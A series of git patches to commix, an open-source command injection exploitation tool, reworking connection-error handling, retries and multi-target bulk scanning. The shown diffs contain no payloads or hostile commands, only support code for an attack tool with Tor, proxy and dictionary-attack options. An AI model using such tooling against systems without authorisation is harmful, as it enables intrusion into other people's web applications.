DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "31"
+REVISION = "32"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From dd4b4bbf38881d88de24d7e519691b998b2d2539 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 15 Apr 2022 07:48:16 +0300
Subject: [PATCH 109/560] Minor update regarding commit
https://github.com/commixproject/commix/commit/3c8e0ccc99de0a57ad626ded2179c7e407dfaa0b
---
src/core/injections/controller/controller.py | 4 ++--
src/core/main.py | 11 ++++++-----
src/core/requests/headers.py | 2 +-
src/core/requests/redirection.py | 2 +-
src/utils/settings.py | 3 ++-
5 files changed, 12 insertions(+), 10 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index b99289058c..7ea6936d0f 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -707,7 +707,7 @@ def post_request(url, http_request_method, filename, timesec):
def perform_checks(url, http_request_method, filename):
def basic_level_checks():
- if not menu.options.bulkfile:
+ if not settings.MULTI_TARGETS:
settings.PERFORM_BASIC_SCANS = False
else:
settings.PERFORM_BASIC_SCANS = True
@@ -849,7 +849,7 @@ def do_check(url, http_request_method, filename):
print(settings.print_critical_msg(err_msg))
logs.print_logs_notification(filename, url)
- if not settings.CHECK_BOTH_OS and not menu.options.bulkfile:
+ if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS:
# if not menu.options.bulkfile or settings.EOF:
# print(settings.SINGLE_WHITESPACE)
raise SystemExit()
diff --git a/src/core/main.py b/src/core/main.py
index 4d7f5dfe20..cbaa050cd5 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -138,7 +138,7 @@ def examine_request(request, url):
err_msg = str(e.args[0]).split("] ")[1] + "."
except IndexError:
err_msg = str(e).replace(": "," (") + ")."
- if menu.options.bulkfile:
+ if settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
warn_msg = "Skipping URL '" + url
print(settings.print_warning_msg(warn_msg))
@@ -154,7 +154,7 @@ def examine_request(request, url):
if len(str(err_msg).split(": ")[1]) == 0:
error_description = "Non-standard HTTP status code"
err_msg = str(err_msg).replace(": "," (") + error_description + ")."
- if menu.options.bulkfile:
+ if settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
warn_msg = "Skipping URL '" + url
print(settings.print_warning_msg(warn_msg))
@@ -172,7 +172,7 @@ def examine_request(request, url):
except IndexError:
err_msg += "."
pass
- if menu.options.bulkfile:
+ if settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
warn_msg = "Skipping URL '" + url
print(settings.print_warning_msg(warn_msg))
@@ -202,7 +202,7 @@ def examine_request(request, url):
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg).replace(": "," (") + ")."
- if menu.options.bulkfile:
+ if settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
warn_msg = "Skipping URL '" + url
print(settings.print_warning_msg(warn_msg))
@@ -307,7 +307,7 @@ def url_response(url):
# Check if defined Tor (--tor option).
if menu.options.tor and settings.TOR_CHECK_AGAIN:
tor.do_check()
- if menu.options.bulkfile:
+ if settings.MULTI_TARGETS:
settings.TOR_CHECK_AGAIN = False
info_msg = "Setting URL '" + url + "' for tests. "
print(settings.print_info_msg(info_msg))
@@ -936,6 +936,7 @@ def main(filename, url):
print(settings.SINGLE_WHITESPACE)
with open(menu.options.bulkfile) as f:
bulkfile = [url.strip() for url in f]
+ settings.MULTI_TARGETS = True
# Removing duplicates from list.
clean_bulkfile = []
[clean_bulkfile.append(x) for x in bulkfile if x not in clean_bulkfile]
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 8ed2da1bcf..c6403c3068 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -281,7 +281,7 @@ def https_open(self, req):
err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")."
except IndexError:
err_msg += "."
- if menu.options.bulkfile:
+ if settings.MULTI_TARGETS:
raise
else:
print(settings.print_critical_msg(err_msg))
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index a532c9ebe3..90c19747b1 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -190,7 +190,7 @@ def http_error_405(self, req, fp, code, msg, headers):
err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")."
except IndexError:
err_msg += "."
- if not menu.options.bulkfile:
+ if not settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 30d4ea92c1..0a507885cb 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "32"
+REVISION = "33"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1085,4 +1085,5 @@ def sys_argv_errors():
CRAWLED_SKIPPED_URLS = 0
+MULTI_TARGETS = False
# eof
\ No newline at end of file
From b376f3deac178aa8d3e761faa8d5a6a46c5824e8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 16 Apr 2022 09:31:36 +0300
Subject: [PATCH 110/560] Minor update
---
src/core/main.py | 9 +++------
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 7 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index cbaa050cd5..ae59505bea 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -141,7 +141,6 @@ def examine_request(request, url):
if settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
warn_msg = "Skipping URL '" + url
- print(settings.print_warning_msg(warn_msg))
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
return False
@@ -157,7 +156,6 @@ def examine_request(request, url):
if settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
warn_msg = "Skipping URL '" + url
- print(settings.print_warning_msg(warn_msg))
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
return False
@@ -175,7 +173,6 @@ def examine_request(request, url):
if settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
warn_msg = "Skipping URL '" + url
- print(settings.print_warning_msg(warn_msg))
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
return False
@@ -205,7 +202,6 @@ def examine_request(request, url):
if settings.MULTI_TARGETS:
print(settings.print_critical_msg(err_msg))
warn_msg = "Skipping URL '" + url
- print(settings.print_warning_msg(warn_msg))
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
return False
@@ -313,7 +309,6 @@ def url_response(url):
print(settings.print_info_msg(info_msg))
# initiate total of requests
settings.TOTAL_OF_REQUESTS = 0
- settings.MAX_RETRIES = 2
request = init_request(url)
if settings.CHECK_INTERNET:
settings.CHECK_INTERNET = False
@@ -807,7 +802,9 @@ def main(filename, url):
# Retries when the connection timeouts.
if menu.options.retries:
settings.MAX_RETRIES = menu.options.retries
-
+ else:
+ if menu.options.MULTI_TARGETS:
+ settings.MAX_RETRIES = 2
# Seconds to delay between each HTTP request.
if menu.options.delay > 0:
settings.DELAY = menu.options.delay
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 0a507885cb..7805cd2f5b 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "33"
+REVISION = "34"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 0c5f4ca9c1f2f3bbd816f1992d35f7c0d0d91cb2 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 17 Apr 2022 09:05:00 +0300
Subject: [PATCH 111/560] Fixes
https://github.com/commixproject/commix/issues/757 (and other multiple fixes
and updates)
---
src/core/injections/controller/checks.py | 39 ++++-
src/core/main.py | 187 ++++-------------------
src/core/requests/headers.py | 75 ++-------
src/core/requests/parameters.py | 2 +-
src/core/requests/redirection.py | 49 +-----
src/utils/crawler.py | 4 +-
src/utils/settings.py | 2 +-
7 files changed, 85 insertions(+), 273 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index fdf2457307..8c75fb6835 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -31,6 +31,7 @@
from src.utils import simple_http_server
from src.thirdparty.odict import OrderedDict
from src.core.convert import hexdecode
+from socket import error as SocketError
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -49,6 +50,34 @@
except:
settings.READLINE_ERROR = True
+"""
+Connection exceptions
+"""
+
+def connection_exceptions(err_msg):
+ settings.VALID_URL = False
+ try:
+ error_msg = str(err_msg.args[0]).split("] ")[1]
+ except IndexError:
+ error_msg = str(err_msg.args[0])
+ if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
+ print(settings.SINGLE_WHITESPACE)
+ if "ssl" in str(error_msg):
+ error_msg = "can't establish SSL connection"
+ elif "infinite loop" in str(error_msg):
+ error_msg = "Infinite redirect loop detected."
+ error_msg += "Please check all provided parameters and/or provide missing ones."
+ elif "BadStatusLine" in str(error_msg):
+ error_msg = "connection dropped or unknown HTTP "
+ error_msg += "status code received."
+ elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg):
+ error_msg = "connection was forcibly closed by the target URL."
+ error_msg = "Unable to connect to the target URL (Reason: " + error_msg.capitalize() + ")."
+ print(settings.print_critical_msg(error_msg))
+ if not settings.VALID_URL :
+ if not settings.MULTI_TARGETS and settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES:
+ raise SystemExit()
+
"""
check for not declared cookie(s)
"""
@@ -301,13 +330,15 @@ def check_connection(url):
socket.getaddrinfo(hostname, None)
except socket.gaierror:
err_msg = "Host '" + hostname + "' does not exist."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ if not settings.MULTI_TARGETS:
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
except socket.error as err:
err_msg = "Problem occurred while "
err_msg += "resolving a host name '" + hostname + "'"
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ if not settings.MULTI_TARGETS:
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
"""
Check current assessment phase.
diff --git a/src/core/main.py b/src/core/main.py
index ae59505bea..a4bcb1fd7d 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -16,7 +16,6 @@
import re
import os
import sys
-import errno
import random
from src.thirdparty.six.moves import http_client as _http_client
# accept overly long result lines
@@ -60,7 +59,6 @@
# Use Colorama to make Termcolor work on Windows too :)
init()
-
"""
Define HTTP User-Agent header.
"""
@@ -103,6 +101,12 @@ def user_agent_header():
Examine the request
"""
def examine_request(request, url):
+ # Retries when the connection timeouts.
+ if menu.options.retries:
+ settings.MAX_RETRIES = menu.options.retries
+ else:
+ if settings.MULTI_TARGETS:
+ settings.MAX_RETRIES = 1
try:
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
@@ -127,63 +131,13 @@ def examine_request(request, url):
print(settings.print_critical_msg(err_msg))
raise SystemExit()
-
- except SocketError as e:
- if e.errno == errno.ECONNRESET:
- error_msg = "Connection reset by peer."
- elif e.errno == errno.ECONNREFUSED:
- error_msg = "Connection refused."
- else:
- try:
- err_msg = str(e.args[0]).split("] ")[1] + "."
- except IndexError:
- err_msg = str(e).replace(": "," (") + ")."
- if settings.MULTI_TARGETS:
- print(settings.print_critical_msg(err_msg))
- warn_msg = "Skipping URL '" + url
- if settings.EOF:
- print(settings.SINGLE_WHITESPACE)
- return False
- else:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- except _urllib.error.HTTPError as err_msg:
- error_description = ""
- if len(str(err_msg).split(": ")[1]) == 0:
- error_description = "Non-standard HTTP status code"
- err_msg = str(err_msg).replace(": "," (") + error_description + ")."
- if settings.MULTI_TARGETS:
- print(settings.print_critical_msg(err_msg))
- warn_msg = "Skipping URL '" + url
- if settings.EOF:
- print(settings.SINGLE_WHITESPACE)
- return False
- else:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- except _urllib.error.URLError as e:
- err_msg = "Unable to connect to the target URL"
- try:
- err_msg += " (" + str(e.args[0]).split("] ")[1] + ")."
- except IndexError:
- err_msg += "."
- pass
- if settings.MULTI_TARGETS:
- print(settings.print_critical_msg(err_msg))
- warn_msg = "Skipping URL '" + url
- if settings.EOF:
- print(settings.SINGLE_WHITESPACE)
- return False
- else:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
except Exception as err_msg:
+ settings.VALID_URL = False
+ reason = ""
if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
+ reason = str(err_msg)
if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
- pass
+ print(settings.print_critical_msg(err_msg))
elif menu.options.auth_type and menu.options.auth_cred:
err_msg = "The provided pair of " + menu.options.auth_type
err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
@@ -192,22 +146,25 @@ def examine_request(request, url):
err_msg += " in order to perform a dictionary-based attack."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
- else:
- pass
- else:
- try:
- error_msg = str(err_msg.args[0]).split("] ")[1] + "."
- except IndexError:
- error_msg = str(err_msg).replace(": "," (") + ")."
+ if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \
+ settings.FORBIDDEN_ERROR in str(err_msg).lower() or \
+ settings.NOT_FOUND_ERROR in str(err_msg).lower():
+ reason = str(err_msg)
if settings.MULTI_TARGETS:
- print(settings.print_critical_msg(err_msg))
- warn_msg = "Skipping URL '" + url
+ if len(reason) != 0:
+ reason = " (Reason: " + reason + ")."
+ warn_msg = "Skipping URL '" + url + "'" + reason
+ print(settings.print_warning_msg(warn_msg))
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
return False
else:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ err_msg = reason
+ if settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
+ pass
+ else:
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
"""
Check internet connection before assessing the target.
@@ -255,31 +212,12 @@ def init_request(url):
# Check if defined character used for splitting parameter values.
if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA:
settings.PARAMETER_DELIMITER = menu.options.pdel
- try:
- request = _urllib.request.Request(url, menu.options.data.encode())
- except SocketError as e:
- if e.errno == errno.ECONNRESET:
- error_msg = "Connection reset by peer."
- print(settings.print_critical_msg(error_msg))
- elif e.errno == errno.ECONNREFUSED:
- error_msg = "Connection refused."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
+ request = _urllib.request.Request(url, menu.options.data.encode())
else:
# Check if defined character used for splitting parameter values.
if menu.options.pdel and menu.options.pdel in url:
settings.PARAMETER_DELIMITER = menu.options.pdel
- try:
- request = _urllib.request.Request(url)
- except SocketError as e:
- if e.errno == errno.ECONNRESET:
- error_msg = "Connection reset by peer."
- print(settings.print_critical_msg(error_msg))
- elif e.errno == errno.ECONNREFUSED:
- error_msg = "Connection refused."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
-
+ request = _urllib.request.Request(url)
headers.do_check(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
@@ -572,49 +510,6 @@ def main(filename, url):
if menu.options.tamper:
checks.tamper_scripts()
- except _urllib.error.HTTPError as err_msg:
- # Check the codes of responses
- if str(err_msg.getcode()) == settings.INTERNAL_SERVER_ERROR:
- print(settings.SINGLE_WHITESPACE)
- content = err_msg.read()
- raise SystemExit()
-
- # Invalid permission to access target URL page.
- elif str(err_msg.getcode()) == settings.FORBIDDEN_ERROR:
- if settings.VERBOSITY_LEVEL < 2:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "You don't have permission to access this page."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- # The target host seems to be down!
- elif str(err_msg.getcode()) == settings.NOT_FOUND_ERROR:
- if settings.VERBOSITY_LEVEL < 2:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "Not found."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- else:
- raise
-
- # The target host seems to be down!
- except (_urllib.error.URLError, _http_client.BadStatusLine) as e:
- if settings.VERBOSITY_LEVEL < 2:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "The host seems to be down"
- try:
- err_msg += " (" + str(e.args[0]).split("] ")[1] + ")."
- except IndexError:
- err_msg += "."
- pass
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- except _http_client.InvalidURL as err_msg:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
except AttributeError:
pass
@@ -638,8 +533,6 @@ def main(filename, url):
err_msg += " Please ensure that is up and try again."
print("\n" + settings.print_critical_msg(err_msg))
logs.print_logs_notification(filename, url)
- #session_handler.clear(url)
- #raise SystemExit()
try:
@@ -799,12 +692,6 @@ def main(filename, url):
if len(menu.options.data) == 0:
menu.options.data = False
- # Retries when the connection timeouts.
- if menu.options.retries:
- settings.MAX_RETRIES = menu.options.retries
- else:
- if menu.options.MULTI_TARGETS:
- settings.MAX_RETRIES = 2
# Seconds to delay between each HTTP request.
if menu.options.delay > 0:
settings.DELAY = menu.options.delay
@@ -953,22 +840,10 @@ def main(filename, url):
filename = logs_filename_creation()
main(filename, url)
- except _urllib.error.HTTPError as err_msg:
- if settings.VERBOSITY_LEVEL < 2:
- print(settings.SINGLE_WHITESPACE)
- error_description = ""
- if len(str(err_msg).split(": ")[1]) == 0:
- error_description = "Non-standard HTTP status code"
- err_msg = str(err_msg).replace(": "," (") + error_description + ")."
- warn_msg = "Skipping URL '" + url + "' - " + err_msg
- print(settings.print_warning_msg(warn_msg))
- if settings.EOF:
- print(settings.SINGLE_WHITESPACE)
-
- except _urllib.error.URLError as err_msg:
+ except (_urllib.error.HTTPError, _urllib.error.URLError) as e:
if settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
- err_msg = str(err_msg.args[0]).split("] ")[1] + "."
+ err_msg = "Unable to connect to the target URL."
warn_msg = "Skipping URL '" + url + "' - " + err_msg
print(settings.print_warning_msg(warn_msg))
if settings.EOF:
@@ -992,12 +867,6 @@ def main(filename, url):
abort_msg += "during the " + checks.assessment_phase()
abort_msg += " phase (Ctrl-C was pressed)."
new_line = "\n"
- # if settings.FILE_BASED_STATE or \
- # settings.TEMPFILE_BASED_STATE :
- # if not settings.DETECTION_PHASE and \
- # settings.EXPLOITATION_PHASE:
- # if settings.VERBOSITY_LEVEL != 0:
- # new_line = ""
print(new_line + settings.print_abort_msg(abort_msg))
try:
logs.print_logs_notification(filename, url)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index c6403c3068..fdf5b69881 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -118,47 +118,16 @@ def http_open(self, req):
try:
self.do_open(connection, req)
return super(connection_handler, self).http_open(req)
- except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg:
- try:
- error_msg = str(err_msg.args[0]).split("] ")[1] + "."
- except IndexError:
- error_msg = str(err_msg.args[0]) + "."
- error_msg = "Connection to the target URL " + error_msg
- except _http_client.InvalidURL as err_msg:
- settings.VALID_URL = False
- error_msg = err_msg
- if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
- print(settings.SINGLE_WHITESPACE)
- if "ssl" in str(error_msg):
- settings.VALID_URL = False
- error_msg = "Can't establish SSL connection."
- print(settings.print_critical_msg(error_msg))
- if not settings.VALID_URL:
- raise SystemExit()
-
+ except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
+ checks.connection_exceptions(err_msg)
def https_open(self, req):
try:
self.do_open(connection, req)
return super(connection_handler, self).https_open(req)
- except (_urllib.error.HTTPError, _urllib.error.URLError) as err_msg:
- try:
- error_msg = str(err_msg.args[0]).split("] ")[1] + "."
- except IndexError:
- error_msg = str(err_msg.args[0]) + "."
- error_msg = "Connection to the target URL " + error_msg
- except _http_client.InvalidURL as err_msg:
- settings.VALID_URL = False
- error_msg = err_msg
- if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
- print(settings.SINGLE_WHITESPACE)
- if "ssl" in str(error_msg):
- settings.VALID_URL = False
- error_msg = "Can't establish SSL connection."
- print(settings.print_critical_msg(error_msg))
- if not settings.VALID_URL:
- raise SystemExit()
-
+ except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
+ checks.connection_exceptions(err_msg)
+
opener = _urllib.request.build_opener(connection_handler())
if len(settings.HTTP_METHOD) != 0:
request.get_method = lambda: settings.HTTP_METHOD
@@ -180,7 +149,8 @@ def https_open(self, req):
_ = True
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
if settings.VERBOSITY_LEVEL < 2:
- if settings.INIT_TEST == True and not settings.UNAUTHORIZED:
+ if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \
+ (settings.INIT_TEST == True and settings.MULTI_TARGETS):
print(settings.SINGLE_WHITESPACE)
if not settings.CHECK_INTERNET:
settings.INIT_TEST = False
@@ -209,8 +179,9 @@ def https_open(self, req):
warn_msg += "'--proxy' option."
print(settings.print_warning_msg(warn_msg))
- info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
- print(settings.print_info_msg(info_msg))
+ if settings.MAX_RETRIES > 1:
+ info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
+ print(settings.print_info_msg(info_msg))
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
time.sleep(3)
@@ -272,30 +243,8 @@ def https_open(self, req):
raise SystemExit()
# The handlers raise this exception when they run into a problem.
- except (_http_client.HTTPException, _urllib.error.URLError, _http_client.IncompleteRead) as err:
- if any(_ in str(err) for _ in ("timed out", "IncompleteRead", "Interrupted system call")):
- pass
- else:
- err_msg = "Unable to connect to the target URL"
- try:
- err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")."
- except IndexError:
- err_msg += "."
- if settings.MULTI_TARGETS:
- raise
- else:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- # Raise exception regarding existing connection was forcibly closed by the remote host.
- except SocketError as err:
- if err.errno == errno.ECONNRESET:
- error_msg = "Connection reset by peer."
- print(settings.print_critical_msg(error_msg))
- elif err.errno == errno.ECONNREFUSED:
- error_msg = "Connection refused."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
+ except Exception as err_msg:
+ checks.connection_exceptions(err_msg)
"""
Check for added headers.
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index afcf01ec22..1543f15649 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -134,7 +134,7 @@ def do_GET_check(url, http_request_method):
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
- #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
+ all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
# Reconstruct the URL
url = url_part + "?" + parameter
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index 90c19747b1..d3731af4d5 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -24,6 +24,8 @@
from src.utils import menu
from src.utils import settings
from socket import error as SocketError
+from src.thirdparty.six.moves import http_client as _http_client
+from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -162,52 +164,11 @@ def http_error_405(self, req, fp, code, msg, headers):
else:
return url
+ except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
+ checks.connection_exceptions(err_msg)
+
except AttributeError:
pass
- # Raise exception due to ValueError.
- except ValueError as err:
- err_msg = str(err).replace(": "," (")
- print(settings.print_critical_msg(err_msg + ")."))
- raise SystemExit()
-
- # Raise exception regarding urllib2 HTTPError.
- except _urllib.error.HTTPError as err:
- # Raise exception regarding infinite loop.
- if "infinite loop" in str(err):
- err_msg = "Infinite redirect loop detected."
- err_msg += "Please check all provided parameters and/or provide missing ones."
- print(settings.print_critical_msg(err_msg))
- else:
- err_msg = str(err).replace(": "," (")
- print(settings.print_critical_msg(err_msg + ")."))
- raise SystemExit()
-
- # The target host seems to be down.
- except _urllib.error.URLError as err:
- err_msg = "The host seems to be down"
- try:
- err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")."
- except IndexError:
- err_msg += "."
- if not settings.MULTI_TARGETS:
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
-
- # Raise exception regarding existing connection was forcibly closed by the remote host.
- except SocketError as err:
- if err.errno == errno.ECONNRESET:
- error_msg = "Connection reset by peer."
- print(settings.print_critical_msg(error_msg))
- elif err.errno == errno.ECONNREFUSED:
- error_msg = "Connection refused."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
-
- # Raise exception regarding connection aborted.
- except Exception:
- err_msg = "Connection aborted."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
# eof
\ No newline at end of file
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 2d08a9f117..b225a48fc2 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -67,11 +67,13 @@ def request(url):
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except _urllib.error.URLError as err_msg:
+ settings.CRAWLED_SKIPPED_URLS += 1
+ if settings.CRAWLED_SKIPPED_URLS == 1:
+ print(settings.SINGLE_WHITESPACE)
err_msg = str(err_msg) + " - Skipping " + str(url)
sys.stdout.write(settings.print_critical_msg(err_msg))
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
- settings.CRAWLED_SKIPPED_URLS += 1
"""
Check for URLs in sitemap.xml.
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 7805cd2f5b..2ce9cf87d6 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "34"
+REVISION = "35"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 237ec71cb19112bdb4e9b7ee731a33ba07c09cbc Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 18 Apr 2022 08:43:14 +0300
Subject: [PATCH 112/560] Update regarding error(s) handling
---
src/core/injections/controller/checks.py | 40 ++++++++++++---
src/core/main.py | 62 +++++++++++++-----------
src/core/requests/headers.py | 31 +++---------
src/core/requests/redirection.py | 7 ++-
src/utils/crawler.py | 2 +-
src/utils/settings.py | 5 +-
6 files changed, 83 insertions(+), 64 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 8c75fb6835..a8587fe9eb 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -19,6 +19,7 @@
import sys
import glob
import json
+import time
import socket
import random
import string
@@ -63,17 +64,40 @@ def connection_exceptions(err_msg):
if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
if "ssl" in str(error_msg):
+ settings.MAX_RETRIES = 1
error_msg = "can't establish SSL connection"
- elif "infinite loop" in str(error_msg):
- error_msg = "Infinite redirect loop detected."
- error_msg += "Please check all provided parameters and/or provide missing ones."
- elif "BadStatusLine" in str(error_msg):
- error_msg = "connection dropped or unknown HTTP "
- error_msg += "status code received."
- elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg):
- error_msg = "connection was forcibly closed by the target URL."
+ else:
+ if settings.TOTAL_OF_REQUESTS == 1:
+ if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(error_msg):
+ print(settings.SINGLE_WHITESPACE)
+ if "IncompleteRead" in str(error_msg):
+ warn_msg = "There was an incomplete read error while retrieving data "
+ warn_msg += "from the target URL "
+ else:
+ warn_msg = "The provided target URL seems not reachable. "
+ warn_msg += "In case that it is, please try to re-run using "
+ if not menu.options.random_agent:
+ warn_msg += "'--random-agent' switch and/or "
+ warn_msg += "'--proxy' option."
+ print(settings.print_warning_msg(warn_msg))
+ elif "infinite loop" in str(error_msg):
+ error_msg = "Infinite redirect loop detected."
+ error_msg += "Please check all provided parameters and/or provide missing ones."
+ elif "BadStatusLine" in str(error_msg):
+ error_msg = "connection dropped or unknown HTTP "
+ error_msg += "status code received."
+ elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg):
+ error_msg = "connection was forcibly closed by the target URL."
+ if settings.MAX_RETRIES > 1:
+ info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
+ print(settings.print_info_msg(info_msg))
